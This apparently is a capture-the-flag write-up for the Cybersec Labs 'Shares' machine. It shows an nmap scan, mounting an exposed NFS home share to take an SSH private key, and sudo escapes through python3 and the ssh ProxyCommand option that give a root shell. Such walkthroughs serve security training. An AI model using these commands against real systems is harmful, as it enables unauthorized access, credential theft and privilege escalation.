mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-28 14:40:25 +00:00
152 lines
6.5 KiB
Markdown
152 lines
6.5 KiB
Markdown
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# Cybersec Labs- Shares
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## NMAP
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```
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Nmap scan report for 172.31.1.7
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Host is up (0.23s latency).
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Not shown: 996 closed ports
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PORT STATE SERVICE VERSION
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21/tcp open ftp vsftpd 3.0.3
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80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Pet Shop
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111/tcp open rpcbind 2-4 (RPC #100000)
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| rpcinfo:
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| program version port/proto service
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| 100000 2,3,4 111/tcp rpcbind
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| 100000 2,3,4 111/udp rpcbind
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| 100000 3,4 111/tcp6 rpcbind
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| 100000 3,4 111/udp6 rpcbind
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| 100003 3 2049/udp nfs
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| 100003 3 2049/udp6 nfs
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| 100003 3,4 2049/tcp nfs
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| 100003 3,4 2049/tcp6 nfs
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| 100005 1,2,3 33249/tcp mountd
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| 100005 1,2,3 34467/tcp6 mountd
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| 100005 1,2,3 39042/udp6 mountd
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| 100005 1,2,3 41578/udp mountd
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| 100021 1,3,4 37885/udp6 nlockmgr
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| 100021 1,3,4 38607/tcp nlockmgr
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| 100021 1,3,4 43063/tcp6 nlockmgr
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| 100021 1,3,4 51017/udp nlockmgr
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| 100227 3 2049/tcp nfs_acl
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| 100227 3 2049/tcp6 nfs_acl
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| 100227 3 2049/udp nfs_acl
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|_ 100227 3 2049/udp6 nfs_acl
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2049/tcp open nfs_acl 3 (RPC #100227)
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27853/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 97:93:e4:7f:41:79:9c:bd:3d:d8:90:c3:93:d5:53:9f (RSA)
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| 256 11:66:e9:84:32:85:7b:c7:88:f3:19:97:74:1e:6c:29 (ECDSA)
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|_ 256 cc:66:1e:1a:91:31:56:56:7c:e5:d3:46:5d:68:2a:b7 (ED25519)
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33249/tcp open mountd 1-3 (RPC #100005)
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38607/tcp open nlockmgr 1-4 (RPC #100021)
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49481/tcp open mountd 1-3 (RPC #100005)
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52729/tcp open mountd 1-3 (RPC #100005)
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Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 1699.29 seconds
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```
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## PORT 80
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<img src="https://imgur.com/n71SA8a.png"/>
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We see nothing on port 80
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## PORT 2049 (NFS)
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Now we can see which shares are avaiable for us to mount
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`showmount -e 172.31.1.7` this gives us
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```
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Export list for 172.31.1.7:
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/home/amir *.*.*.*
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```
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Now mounting it
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```
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root@kali:~/Cybersec Labs/Easy/Shares# mkdir shares
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root@kali:~/Cybersec Labs/Easy/Shares# mount 172.31.1.7:/home/amir shares/
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root@kali:~/Cybersec Labs/Easy/Shares# ls
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shares Shares.md
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root@kali:~/Cybersec Labs/Easy/Shares# cs shares/
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-bash: cs: command not found
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root@kali:~/Cybersec Labs/Easy/Shares# cd shares/
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lroot@kali:~/Cybersec Labs/Easy/Shares/shares# ls -al
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total 40
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drwxrwxr-x 5 arz arz 4096 Apr 2 2020 .
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drwxr-xr-x 3 root root 4096 Nov 6 00:09 ..
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-rw-r--r-- 1 arz arz 0 Apr 2 2020 .bash_history
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-rw-r--r-- 1 arz arz 220 Apr 4 2018 .bash_logout
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-rw-r--r-- 1 arz arz 3786 Apr 2 2020 .bashrc
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drw-r--r-- 2 arz arz 4096 Apr 2 2020 .cache
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drw-r--r-- 3 arz arz 4096 Apr 2 2020 .gnupg
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-rw-r--r-- 1 arz arz 807 Apr 4 2018 .profile
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drwxrwxr-x 2 arz arz 4096 Apr 2 2020 .ssh
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-rw-r--r-- 1 arz arz 0 Apr 2 2020 .sudo_as_admin_successful
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-rw-r--r-- 1 arz arz 7713 Apr 2 2020 .viminfo
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```
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We see .ssh folder and we know that there is a port `27853` which is ruuning SSH
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Copy `id_rsa.pk` and rename it to `id_rsa` also change it's permissions to `600`
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<img src="https://imgur.com/x9BRt7V.png"/>
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We got the ssh key as we mounted `/home/amir` so username is `amir`
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## PORT 27853 (SSH)
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```
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root@kali:~/Cybersec Labs/Easy/Shares# ssh amir@172.31.1.7 -i id_rsa -p 27853
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load pubkey "id_rsa": invalid format
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The authenticity of host '[172.31.1.7]:27853 ([172.31.1.7]:27853)' can't be established.
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ECDSA key fingerprint is SHA256:dX2FJGyXzJVAvDXJL9rdhs2OdMiqVz12PvrXkSdH+T4.
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Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
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Warning: Permanently added '[172.31.1.7]:27853' (ECDSA) to the list of known hosts.
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Enter passphrase for key 'id_rsa':
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```
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But it's asking for passpharse for id_rsa
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<img src="https://imgur.com/5lOVyHO.png"/>
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<img src="https://imgur.com/5lOVyHO.png"/>
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## Privilege Escalation
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<img src="https://imgur.com/K0f2zXP.png"/>
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We can run python3 as `amy` but not as `root`
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so
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```
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sudo -u amy /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')";
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```
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This will give us a bash shell as `amy`
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```
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amy@shares:/home$ sudo -l
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Matching Defaults entries for amy on shares:
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env_reset, mail_badpass,
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secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
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User amy may run the following commands on shares:
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(ALL) NOPASSWD: /usr/bin/ssh
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amy@shares:/home$
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```
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https://gtfobins.github.io/gtfobins/ssh/
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```
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amy@shares:/home$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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# bash
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root@shares:/home#
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```
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We are root !
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